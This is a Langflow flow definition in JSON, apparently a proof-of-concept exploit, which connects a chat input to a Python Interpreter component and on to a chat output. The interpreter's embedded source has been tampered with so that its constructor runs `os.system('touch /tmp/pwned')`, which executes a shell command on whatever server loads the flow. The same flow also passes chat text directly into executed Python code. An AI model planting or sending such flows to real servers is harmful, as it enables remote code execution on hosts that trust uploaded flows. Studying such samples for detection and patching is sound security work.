{ "files": [], "data": { "nodes": [ { "id": "ChatInput-AEBfS", "type": "genericNode", "position": { "x": 265, "y": 158 }, "data": { "node": { "base_classes": [ "Message" ], "beta": false, "conditional_paths": [], "custom_fields": {}, "description": "Get chat inputs from the Playground.", "display_name": "Chat Input", "documentation": "https://docs.langflow.org/chat-input-and-output", "edited": false, "field_order": [ "input_value", "should_store_message", "sender", "sender_name", "session_id", "context_id", "files" ], "frozen": false, "icon": "MessagesSquare", "legacy": false, "metadata": { "code_hash": "7a26c54d89ed", "dependencies": { "dependencies": [ { "name": "lfx", "version": null } ], "total_dependencies": 1 }, "module": "lfx.components.input_output.chat.ChatInput" }, "minimized": true, "output_types": [], "outputs": [ { "allows_loop": false, "cache": true, "display_name": "Chat Message", "group_outputs": false, "method": "message_response", "name": "message", "selected": "Message", "tool_mode": true, "types": [ "Message" ], "value": "__UNDEFINED__" } ], "pinned": false, "template": { "_type": "Component", "code": { "advanced": true, "dynamic": true, "fileTypes": [], "file_path": "", "info": "", "list": false, "load_from_db": false, "multiline": true, "name": "code", "password": false, "placeholder": "", "required": true, "show": true, "title_case": false, "type": "code", "value": "from lfx.base.data.utils import IMG_FILE_TYPES, TEXT_FILE_TYPES\nfrom lfx.base.io.chat import ChatComponent\nfrom lfx.inputs.inputs import BoolInput\nfrom lfx.io import (\n DropdownInput,\n FileInput,\n MessageTextInput,\n MultilineInput,\n Output,\n)\nfrom lfx.schema.message import Message\nfrom lfx.utils.constants import (\n MESSAGE_SENDER_AI,\n MESSAGE_SENDER_NAME_USER,\n MESSAGE_SENDER_USER,\n)\n\n\nclass ChatInput(ChatComponent):\n display_name = \"Chat Input\"\n description = \"Get chat inputs from the Playground.\"\n documentation: str = \"https://docs.langflow.org/chat-input-and-output\"\n icon = \"MessagesSquare\"\n name = \"ChatInput\"\n minimized = True\n\n inputs = [\n MultilineInput(\n name=\"input_value\",\n display_name=\"Input Text\",\n value=\"\",\n info=\"Message to be passed as input.\",\n input_types=[],\n ),\n BoolInput(\n name=\"should_store_message\",\n display_name=\"Store Messages\",\n info=\"Store the message in the history.\",\n value=True,\n advanced=True,\n ),\n DropdownInput(\n name=\"sender\",\n display_name=\"Sender Type\",\n options=[MESSAGE_SENDER_AI, MESSAGE_SENDER_USER],\n value=MESSAGE_SENDER_USER,\n info=\"Type of sender.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"sender_name\",\n display_name=\"Sender Name\",\n info=\"Name of the sender.\",\n value=MESSAGE_SENDER_NAME_USER,\n advanced=True,\n ),\n MessageTextInput(\n name=\"session_id\",\n display_name=\"Session ID\",\n info=\"The session ID of the chat. If empty, the current session ID parameter will be used.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"context_id\",\n display_name=\"Context ID\",\n info=\"The context ID of the chat. Adds an extra layer to the local memory.\",\n value=\"\",\n advanced=True,\n ),\n FileInput(\n name=\"files\",\n display_name=\"Files\",\n file_types=TEXT_FILE_TYPES + IMG_FILE_TYPES,\n info=\"Files to be sent with the message.\",\n advanced=True,\n is_list=True,\n temp_file=True,\n ),\n ]\n outputs = [\n Output(display_name=\"Chat Message\", name=\"message\", method=\"message_response\"),\n ]\n\n async def message_response(self) -> Message:\n # Ensure files is a list and filter out empty/None values\n files = self.files if self.files else []\n if files and not isinstance(files, list):\n files = [files]\n # Filter out None/empty values\n files = [f for f in files if f is not None and f != \"\"]\n\n session_id = self.session_id or self.graph.session_id or \"\"\n message = await Message.create(\n text=self.input_value,\n sender=self.sender,\n sender_name=self.sender_name,\n session_id=session_id,\n context_id=self.context_id,\n files=files,\n )\n if session_id and isinstance(message, Message) and self.should_store_message:\n stored_message = await self.send_message(\n message,\n )\n self.message.value = stored_message\n message = stored_message\n\n self.status = message\n return message\n" }, "context_id": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Context ID", "dynamic": false, "info": "The context ID of the chat. Adds an extra layer to the local memory.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "context_id", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "" }, "files": { "_input_type": "FileInput", "advanced": true, "display_name": "Files", "dynamic": false, "fileTypes": [ "csv", "json", "pdf", "txt", "md", "mdx", "yaml", "yml", "xml", "html", "htm", "docx", "py", "sh", "sql", "js", "ts", "tsx", "jpg", "jpeg", "png", "bmp", "image" ], "file_path": "", "info": "Files to be sent with the message.", "list": true, "list_add_label": "Add More", "name": "files", "override_skip": false, "placeholder": "", "required": false, "show": true, "temp_file": true, "title_case": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": false, "type": "file", "value": "" }, "input_value": { "_input_type": "MultilineInput", "advanced": false, "ai_enabled": false, "copy_field": false, "display_name": "Input Text", "dynamic": false, "info": "Message to be passed as input.", "input_types": [], "list": false, "list_add_label": "Add More", "load_from_db": false, "multiline": true, "name": "input_value", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "" }, "sender": { "_input_type": "DropdownInput", "advanced": true, "combobox": false, "dialog_inputs": {}, "display_name": "Sender Type", "dynamic": false, "external_options": {}, "info": "Type of sender.", "name": "sender", "options": [ "Machine", "User" ], "options_metadata": [], "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "toggle": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": true, "type": "str", "value": "User" }, "sender_name": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Sender Name", "dynamic": false, "info": "Name of the sender.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "sender_name", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "User" }, "session_id": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Session ID", "dynamic": false, "info": "The session ID of the chat. If empty, the current session ID parameter will be used.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "session_id", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "" }, "should_store_message": { "_input_type": "BoolInput", "advanced": true, "display_name": "Store Messages", "dynamic": false, "info": "Store the message in the history.", "list": false, "list_add_label": "Add More", "name": "should_store_message", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": true, "type": "bool", "value": true } }, "tool_mode": false, "lf_version": "1.8.0" }, "showNode": false, "type": "ChatInput", "id": "ChatInput-AEBfS" }, "selected": false, "measured": { "width": 192, "height": 48 } }, { "id": "ChatOutput-CeGTD", "type": "genericNode", "position": { "x": 1014, "y": 313 }, "data": { "node": { "base_classes": [ "Message" ], "beta": false, "conditional_paths": [], "custom_fields": {}, "description": "Display a chat message in the Playground.", "display_name": "Chat Output", "documentation": "https://docs.langflow.org/chat-input-and-output", "edited": false, "field_order": [ "input_value", "should_store_message", "sender", "sender_name", "session_id", "context_id", "data_template", "clean_data" ], "frozen": false, "icon": "MessagesSquare", "legacy": false, "metadata": { "code_hash": "8c87e536cca4", "dependencies": { "dependencies": [ { "name": "orjson", "version": "3.10.15" }, { "name": "fastapi", "version": "0.128.0" }, { "name": "lfx", "version": null } ], "total_dependencies": 3 }, "module": "lfx.components.input_output.chat_output.ChatOutput" }, "minimized": true, "output_types": [], "outputs": [ { "allows_loop": false, "cache": true, "display_name": "Output Message", "group_outputs": false, "method": "message_response", "name": "message", "selected": "Message", "tool_mode": true, "types": [ "Message" ], "value": "__UNDEFINED__" } ], "pinned": false, "template": { "_type": "Component", "clean_data": { "_input_type": "BoolInput", "advanced": true, "display_name": "Basic Clean Data", "dynamic": false, "info": "Whether to clean data before converting to string.", "list": false, "list_add_label": "Add More", "name": "clean_data", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": true, "type": "bool", "value": true }, "code": { "advanced": true, "dynamic": true, "fileTypes": [], "file_path": "", "info": "", "list": false, "load_from_db": false, "multiline": true, "name": "code", "password": false, "placeholder": "", "required": true, "show": true, "title_case": false, "type": "code", "value": "from collections.abc import Generator\nfrom typing import Any\n\nimport orjson\nfrom fastapi.encoders import jsonable_encoder\n\nfrom lfx.base.io.chat import ChatComponent\nfrom lfx.helpers.data import safe_convert\nfrom lfx.inputs.inputs import BoolInput, DropdownInput, HandleInput, MessageTextInput\nfrom lfx.schema.data import Data\nfrom lfx.schema.dataframe import DataFrame\nfrom lfx.schema.message import Message\nfrom lfx.schema.properties import Source\nfrom lfx.template.field.base import Output\nfrom lfx.utils.constants import (\n MESSAGE_SENDER_AI,\n MESSAGE_SENDER_NAME_AI,\n MESSAGE_SENDER_USER,\n)\n\n\nclass ChatOutput(ChatComponent):\n display_name = \"Chat Output\"\n description = \"Display a chat message in the Playground.\"\n documentation: str = \"https://docs.langflow.org/chat-input-and-output\"\n icon = \"MessagesSquare\"\n name = \"ChatOutput\"\n minimized = True\n\n inputs = [\n HandleInput(\n name=\"input_value\",\n display_name=\"Inputs\",\n info=\"Message to be passed as output.\",\n input_types=[\"Data\", \"DataFrame\", \"Message\"],\n required=True,\n ),\n BoolInput(\n name=\"should_store_message\",\n display_name=\"Store Messages\",\n info=\"Store the message in the history.\",\n value=True,\n advanced=True,\n ),\n DropdownInput(\n name=\"sender\",\n display_name=\"Sender Type\",\n options=[MESSAGE_SENDER_AI, MESSAGE_SENDER_USER],\n value=MESSAGE_SENDER_AI,\n advanced=True,\n info=\"Type of sender.\",\n ),\n MessageTextInput(\n name=\"sender_name\",\n display_name=\"Sender Name\",\n info=\"Name of the sender.\",\n value=MESSAGE_SENDER_NAME_AI,\n advanced=True,\n ),\n MessageTextInput(\n name=\"session_id\",\n display_name=\"Session ID\",\n info=\"The session ID of the chat. If empty, the current session ID parameter will be used.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"context_id\",\n display_name=\"Context ID\",\n info=\"The context ID of the chat. Adds an extra layer to the local memory.\",\n value=\"\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"data_template\",\n display_name=\"Data Template\",\n value=\"{text}\",\n advanced=True,\n info=\"Template to convert Data to Text. If left empty, it will be dynamically set to the Data's text key.\",\n ),\n BoolInput(\n name=\"clean_data\",\n display_name=\"Basic Clean Data\",\n value=True,\n advanced=True,\n info=\"Whether to clean data before converting to string.\",\n ),\n ]\n outputs = [\n Output(\n display_name=\"Output Message\",\n name=\"message\",\n method=\"message_response\",\n ),\n ]\n\n def _build_source(self, id_: str | None, display_name: str | None, source: str | None) -> Source:\n source_dict = {}\n if id_:\n source_dict[\"id\"] = id_\n if display_name:\n source_dict[\"display_name\"] = display_name\n if source:\n # Handle case where source is a ChatOpenAI object\n if hasattr(source, \"model_name\"):\n source_dict[\"source\"] = source.model_name\n elif hasattr(source, \"model\"):\n source_dict[\"source\"] = str(source.model)\n else:\n source_dict[\"source\"] = str(source)\n return Source(**source_dict)\n\n async def message_response(self) -> Message:\n # First convert the input to string if needed\n text = self.convert_to_string()\n\n # Get source properties\n source, _, display_name, source_id = self.get_properties_from_source_component()\n\n # Create or use existing Message object\n if isinstance(self.input_value, Message) and not self.is_connected_to_chat_input():\n message = self.input_value\n # Update message properties\n message.text = text\n # Preserve existing session_id from the incoming message if it exists\n existing_session_id = message.session_id\n else:\n message = Message(text=text)\n existing_session_id = None\n\n # Set message properties\n message.sender = self.sender\n message.sender_name = self.sender_name\n # Preserve session_id from incoming message, or use component/graph session_id\n message.session_id = (\n self.session_id or existing_session_id or (self.graph.session_id if hasattr(self, \"graph\") else None) or \"\"\n )\n message.context_id = self.context_id\n message.flow_id = self.graph.flow_id if hasattr(self, \"graph\") else None\n message.properties.source = self._build_source(source_id, display_name, source)\n\n # Store message if needed\n if message.session_id and self.should_store_message:\n stored_message = await self.send_message(message)\n self.message.value = stored_message\n message = stored_message\n\n self.status = message\n return message\n\n def _serialize_data(self, data: Data) -> str:\n \"\"\"Serialize Data object to JSON string.\"\"\"\n # Convert data.data to JSON-serializable format\n serializable_data = jsonable_encoder(data.data)\n # Serialize with orjson, enabling pretty printing with indentation\n json_bytes = orjson.dumps(serializable_data, option=orjson.OPT_INDENT_2)\n # Convert bytes to string and wrap in Markdown code blocks\n return \"```json\\n\" + json_bytes.decode(\"utf-8\") + \"\\n```\"\n\n def _validate_input(self) -> None:\n \"\"\"Validate the input data and raise ValueError if invalid.\"\"\"\n if self.input_value is None:\n msg = \"Input data cannot be None\"\n raise ValueError(msg)\n if isinstance(self.input_value, list) and not all(\n isinstance(item, Message | Data | DataFrame | str) for item in self.input_value\n ):\n invalid_types = [\n type(item).__name__\n for item in self.input_value\n if not isinstance(item, Message | Data | DataFrame | str)\n ]\n msg = f\"Expected Data or DataFrame or Message or str, got {invalid_types}\"\n raise TypeError(msg)\n if not isinstance(\n self.input_value,\n Message | Data | DataFrame | str | list | Generator | type(None),\n ):\n type_name = type(self.input_value).__name__\n msg = f\"Expected Data or DataFrame or Message or str, Generator or None, got {type_name}\"\n raise TypeError(msg)\n\n def convert_to_string(self) -> str | Generator[Any, None, None]:\n \"\"\"Convert input data to string with proper error handling.\"\"\"\n self._validate_input()\n if isinstance(self.input_value, list):\n clean_data: bool = getattr(self, \"clean_data\", False)\n return \"\\n\".join([safe_convert(item, clean_data=clean_data) for item in self.input_value])\n if isinstance(self.input_value, Generator):\n return self.input_value\n return safe_convert(self.input_value)\n" }, "context_id": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Context ID", "dynamic": false, "info": "The context ID of the chat. Adds an extra layer to the local memory.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "context_id", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "" }, "data_template": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Data Template", "dynamic": false, "info": "Template to convert Data to Text. If left empty, it will be dynamically set to the Data's text key.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "data_template", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "{text}" }, "input_value": { "_input_type": "HandleInput", "advanced": false, "display_name": "Inputs", "dynamic": false, "info": "Message to be passed as output.", "input_types": [ "Data", "DataFrame", "Message" ], "list": false, "list_add_label": "Add More", "name": "input_value", "override_skip": false, "placeholder": "", "required": true, "show": true, "title_case": false, "trace_as_metadata": true, "track_in_telemetry": false, "type": "other", "value": "" }, "sender": { "_input_type": "DropdownInput", "advanced": true, "combobox": false, "dialog_inputs": {}, "display_name": "Sender Type", "dynamic": false, "external_options": {}, "info": "Type of sender.", "name": "sender", "options": [ "Machine", "User" ], "options_metadata": [], "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "toggle": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": true, "type": "str", "value": "Machine" }, "sender_name": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Sender Name", "dynamic": false, "info": "Name of the sender.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "sender_name", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "AI" }, "session_id": { "_input_type": "MessageTextInput", "advanced": true, "display_name": "Session ID", "dynamic": false, "info": "The session ID of the chat. If empty, the current session ID parameter will be used.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "session_id", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "" }, "should_store_message": { "_input_type": "BoolInput", "advanced": true, "display_name": "Store Messages", "dynamic": false, "info": "Store the message in the history.", "list": false, "list_add_label": "Add More", "name": "should_store_message", "override_skip": false, "placeholder": "", "required": false, "show": true, "title_case": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": true, "type": "bool", "value": true } }, "tool_mode": false, "lf_version": "1.8.0" }, "showNode": false, "type": "ChatOutput", "id": "ChatOutput-CeGTD" }, "selected": false, "measured": { "width": 192, "height": 48 } }, { "id": "PythonREPLComponent-9WeH1", "type": "genericNode", "position": { "x": 560, "y": 242 }, "data": { "node": { "base_classes": [ "Data" ], "beta": false, "conditional_paths": [], "custom_fields": {}, "description": "Run Python code with optional imports. Use print() to see the output.", "display_name": "Python Interpreter", "documentation": "https://docs.langflow.org/python-interpreter", "edited": false, "field_order": [ "global_imports", "python_code" ], "frozen": false, "icon": "square-terminal", "legacy": false, "metadata": { "code_hash": "80eeaf032b83", "dependencies": { "dependencies": [ { "name": "langchain_experimental", "version": "0.3.4" }, { "name": "lfx", "version": null } ], "total_dependencies": 2 }, "module": "lfx.components.utilities.python_repl_core.PythonREPLComponent" }, "minimized": false, "output_types": [], "outputs": [ { "allows_loop": false, "cache": true, "display_name": "Results", "group_outputs": false, "method": "run_python_repl", "name": "results", "selected": "Data", "tool_mode": true, "types": [ "Data" ], "value": "__UNDEFINED__" } ], "pinned": false, "template": { "_type": "Component", "code": { "advanced": true, "dynamic": true, "fileTypes": [], "file_path": "", "info": "", "list": false, "load_from_db": false, "multiline": true, "name": "code", "password": false, "placeholder": "", "required": true, "show": true, "title_case": false, "type": "code", "value": "import importlib\n\nfrom langchain_experimental.utilities import PythonREPL\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import MultilineInput, Output, StrInput\nfrom lfx.schema.data import Data\n\n\nclass PythonREPLComponent(Component):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n import os; os.system('touch /tmp/pwned'); import traceback; traceback.print_stack()\n\n display_name = \"Python Interpreter\"\n description = \"Run Python code with optional imports. Use print() to see the output.\"\n documentation: str = \"https://docs.langflow.org/python-interpreter\"\n icon = \"square-terminal\"\n\n inputs = [\n StrInput(\n name=\"global_imports\",\n display_name=\"Global Imports\",\n info=\"A comma-separated list of modules to import globally, e.g. 'math,numpy,pandas'.\",\n value=\"math,pandas\",\n required=True,\n ),\n MultilineInput(\n name=\"python_code\",\n display_name=\"Python Code\",\n info=\"The Python code to execute. Only modules specified in Global Imports can be used.\",\n value=\"print('Hello, World!')\",\n input_types=[\"Message\"],\n tool_mode=True,\n required=True,\n ),\n ]\n\n outputs = [\n Output(\n display_name=\"Results\",\n name=\"results\",\n type_=Data,\n method=\"run_python_repl\",\n ),\n ]\n\n def get_globals(self, global_imports: str | list[str]) -> dict:\n \"\"\"Create a globals dictionary with only the specified allowed imports.\"\"\"\n global_dict = {}\n\n try:\n if isinstance(global_imports, str):\n modules = [module.strip() for module in global_imports.split(\",\")]\n elif isinstance(global_imports, list):\n modules = global_imports\n else:\n msg = \"global_imports must be either a string or a list\"\n raise TypeError(msg)\n\n for module in modules:\n try:\n imported_module = importlib.import_module(module)\n global_dict[imported_module.__name__] = imported_module\n except ImportError as e:\n msg = f\"Could not import module {module}: {e!s}\"\n raise ImportError(msg) from e\n\n except Exception as e:\n self.log(f\"Error in global imports: {e!s}\")\n raise\n else:\n self.log(f\"Successfully imported modules: {list(global_dict.keys())}\")\n return global_dict\n\n def run_python_repl(self) -> Data:\n try:\n globals_ = self.get_globals(self.global_imports)\n python_repl = PythonREPL(_globals=globals_)\n result = python_repl.run(self.python_code)\n result = result.strip() if result else \"\"\n\n self.log(\"Code execution completed successfully\")\n return Data(data={\"result\": result})\n\n except ImportError as e:\n error_message = f\"Import Error: {e!s}\"\n self.log(error_message)\n return Data(data={\"error\": error_message})\n\n except SyntaxError as e:\n error_message = f\"Syntax Error: {e!s}\"\n self.log(error_message)\n return Data(data={\"error\": error_message})\n\n except (NameError, TypeError, ValueError) as e:\n error_message = f\"Error during execution: {e!s}\"\n self.log(error_message)\n return Data(data={\"error\": error_message})\n\n def build(self):\n return self.run_python_repl\n" }, "global_imports": { "_input_type": "StrInput", "advanced": false, "display_name": "Global Imports", "dynamic": false, "info": "A comma-separated list of modules to import globally, e.g. 'math,numpy,pandas'.", "list": false, "list_add_label": "Add More", "load_from_db": false, "name": "global_imports", "override_skip": false, "placeholder": "", "required": true, "show": true, "title_case": false, "tool_mode": false, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "math,pandas" }, "python_code": { "_input_type": "MultilineInput", "advanced": false, "ai_enabled": false, "copy_field": false, "display_name": "Python Code", "dynamic": false, "info": "The Python code to execute. Only modules specified in Global Imports can be used.", "input_types": [ "Message" ], "list": false, "list_add_label": "Add More", "load_from_db": false, "multiline": true, "name": "python_code", "override_skip": false, "placeholder": "", "required": true, "show": true, "title_case": false, "tool_mode": true, "trace_as_input": true, "trace_as_metadata": true, "track_in_telemetry": false, "type": "str", "value": "print('Hello, World!')" } }, "tool_mode": false, "lf_version": "1.8.0" }, "showNode": true, "type": "PythonREPLComponent", "id": "PythonREPLComponent-9WeH1" }, "selected": false, "measured": { "width": 320, "height": 302 } } ], "edges": [ { "source": "ChatInput-AEBfS", "sourceHandle": "{œdataTypeœ:œChatInputœ,œidœ:œChatInput-AEBfSœ,œnameœ:œmessageœ,œoutput_typesœ:[œMessageœ]}", "target": "PythonREPLComponent-9WeH1", "targetHandle": "{œfieldNameœ:œpython_codeœ,œidœ:œPythonREPLComponent-9WeH1œ,œinputTypesœ:[œMessageœ],œtypeœ:œstrœ}", "data": { "targetHandle": { "fieldName": "python_code", "id": "PythonREPLComponent-9WeH1", "inputTypes": [ "Message" ], "type": "str" }, "sourceHandle": { "dataType": "ChatInput", "id": "ChatInput-AEBfS", "name": "message", "output_types": [ "Message" ] } }, "id": "xy-edge__ChatInput-AEBfS{œdataTypeœ:œChatInputœ,œidœ:œChatInput-AEBfSœ,œnameœ:œmessageœ,œoutput_typesœ:[œMessageœ]}-PythonREPLComponent-9WeH1{œfieldNameœ:œpython_codeœ,œidœ:œPythonREPLComponent-9WeH1œ,œinputTypesœ:[œMessageœ],œtypeœ:œstrœ}", "animated": false, "className": "", "selected": false }, { "source": "PythonREPLComponent-9WeH1", "sourceHandle": "{œdataTypeœ:œPythonREPLComponentœ,œidœ:œPythonREPLComponent-9WeH1œ,œnameœ:œresultsœ,œoutput_typesœ:[œDataœ]}", "target": "ChatOutput-CeGTD", "targetHandle": "{œfieldNameœ:œinput_valueœ,œidœ:œChatOutput-CeGTDœ,œinputTypesœ:[œDataœ,œDataFrameœ,œMessageœ],œtypeœ:œotherœ}", "data": { "targetHandle": { "fieldName": "input_value", "id": "ChatOutput-CeGTD", "inputTypes": [ "Data", "DataFrame", "Message" ], "type": "other" }, "sourceHandle": { "dataType": "PythonREPLComponent", "id": "PythonREPLComponent-9WeH1", "name": "results", "output_types": [ "Data" ] } }, "id": "xy-edge__PythonREPLComponent-9WeH1{œdataTypeœ:œPythonREPLComponentœ,œidœ:œPythonREPLComponent-9WeH1œ,œnameœ:œresultsœ,œoutput_typesœ:[œDataœ]}-ChatOutput-CeGTD{œfieldNameœ:œinput_valueœ,œidœ:œChatOutput-CeGTDœ,œinputTypesœ:[œDataœ,œDataFrameœ,œMessageœ],œtypeœ:œotherœ}", "animated": false, "className": "", "selected": false } ] }, "inputs": { "input_value": "Say \"A\"", "session": "eca6f35b-4505-5d28-a1e1-567c1c140d35", "client_request_time": 1768898572398 } }